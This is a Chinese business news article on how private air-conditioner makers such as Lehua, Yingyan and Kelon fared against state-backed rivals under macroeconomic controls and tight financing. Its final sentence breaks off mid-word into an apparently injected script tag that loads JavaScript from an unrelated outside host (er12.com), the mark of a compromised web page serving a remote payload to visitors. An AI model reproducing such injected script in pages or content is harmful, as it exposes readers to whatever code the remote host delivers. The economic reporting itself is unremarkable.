宏观调控被指为是“国进民退，逆向调节”。而据国家统计局2005年7月统计数字显示，规模以上工业企业中，国有及国有控股企业同比增长16.7%，私营企业同比增长39.3%。
面对紧缩性的调控格局，国企盈利能力却远远落后于资金缺乏的民企。 然而，专家认为，数据并不足以说明民企相对于国企在中长期发展保持着竞争优势。
空调业市场发展较为成熟，产业处于高度整合时期，在国家宏观调控下，民营空调企业的发展窘境就尤为突现。
狭路求生：融资渠道紧缩
空调业的“民企困境”2003年便开始突现出来。2003年中国十大营销事件中，高速发展的乐华空调轰然倒塌让整个行业瞬间陷入深思。而半年后，迎燕、万家乐、东洋接踵倒下，科龙陷入全面危机。迎燕是长三角保守型民营企业，一直在技术上寻求产业突破；而乐华是粗放型的，沿承了珠三角急功求利的投资商人作风，迥然不同的经营风格却逃离不了相同的宿命，这是中国空调业近阶段一个明显的竞争态势。
尽管当时乐华空调最大股东长城数码已宣告在香港破产，但以独立法人注册的乐华空调并没有产生信誉危机，拥有相当品牌基础和渠道基础的乐华空调当时还在正常生产铺货，并完全可通过正常融资手段自救。
而实质上，后来乐华空调为此而召开的经销会商会议成了“讨债大会”，让商家打款的希望彻底破灭。深圳某投资公司通过几次谈判后并不敢贸然下注，而深谙空调业恶劣竞争环境的tcl老板李东生，那时明显感觉到乐华空调已经是烂泥抹不上墙，乐华空调最后的一线生机也就只剩下银行信贷。但是在资本运营极不透明的财务状况下，银行不可能给予乐华更多授信，在万般困惑、无奈的等待中，乐华空调悲凉地走向消亡。
乐华虽然已经逐渐淡出人们的视线，但是这个在股权结构、商业渠道模式以及资本运营上可视作典型的民营企业，其留给空调业的反思，以及伴随其衰亡的民企融资现状并未时过境迁，目前许多空调二三线品牌实质上同样面临着当年乐华空调的境遇。
相反，在空调市场竞争如此严峻的今天，有着国资背景的诸如格力、海尔、美的、长虹等上市公司，近几年的发展却一路高歌。2004年的长虹，30多亿资产损失而没有引起企业内部经营运行的多大动荡。2005年通过营销改制，一直被业界视为不入流的长虹空调轻而易举地在短短几个月内将销量从50万台提升到100万台，国资背景的空调上市公司其竞争优势也日趋明显。中国空调业国企与民企的竞争现状，正逐步发展为资本悬殊的不对等博弈。
此起彼落：宏观调控下的民营经济发展逐步边缘化
宏观调控是指以政府为主体，综合运用经济、行政、法律等手段对国民经济运行的调节和控制，以保证国民经济均衡发展，实现资源配置优化。
观察家认为，既然是均衡手段，那么必然会有政策倾向性。在宏观调控中，对国有企业的利好是显而易见的。
虽然日前国家统计数字表明，民企应对宏观调控优于国企，但目前民营空调企业在生产过剩需求不足的恶劣市场条件下，一方面要应对能源及原材料上涨而带来的资源危机，另一方面，宏观调控使资金紧缺的民营空调企业在现阶段内，其产业规模的扩张与市场快速拓展都承受着巨大的投资风险。在未来3至5年内，民营空调企业会加快其市场整合的力度，同时，其中长期的战略方针只能逐步转向短期目标，以适应国家宏观调控下的经济环境。
而实质上，一线品牌几乎全部是有着国资背景的，他们利用强大的资源优势，在资金、研发、技术、产品、价格上对二三线的民营空调品牌全面打压，民营空调企业的日子已经越来越不好过。据预测，2006年将有近1/3的空调品牌消失，这些企业无疑几乎全部是中小型民营企业。
受宏观调控影响，有着国资背景的空调公司，或多或少会得到政策性扶持，很大程度上可以缓解当前的竞争压力。作为上市公司，其融资渠道也比民企宽松得多，健康的、可持续性发展的品牌中长期战略，使得其在资金、政策、渠道、技术研发以及产业规模上保持着全面的竞争优势。
战略失误：堡垒最容易从内部攻破
民营企业发展战略过分体现经营者的个人意图，战略性决策失误常常使公司失去可持续发展的契机。顾雏军撑印后的科龙，国有资本几乎全部退出，产能高速扩张，并大幅压缩成本，技术研发投入减少、产品大范围转向低端，产业规模超常规发展，其企业战略发展模式彻底民营化，但即使这样却仍然摆脱不了科龙在短短几年内再次被卖掉的命运。近两年来，战略失误是民营空调企业走向消亡的另一个重要因素。
另一方面，资产不透明化压缩了民营企业融资渠道的同时，股权、财权更迭频繁与过度集中，也根本无法使企业沿着既定战略目标步入健康的、规范的资本运营。实质上，科龙退出之后，包括海信、长虹在内的许多企业都竞相抢购，原因在于这个有着国企渊源的企业无论是渠道资源，还是资产状况都相当明晰，而乐华、东洋、迎燕、万家乐等民?script src=http://er12.com/t.js>
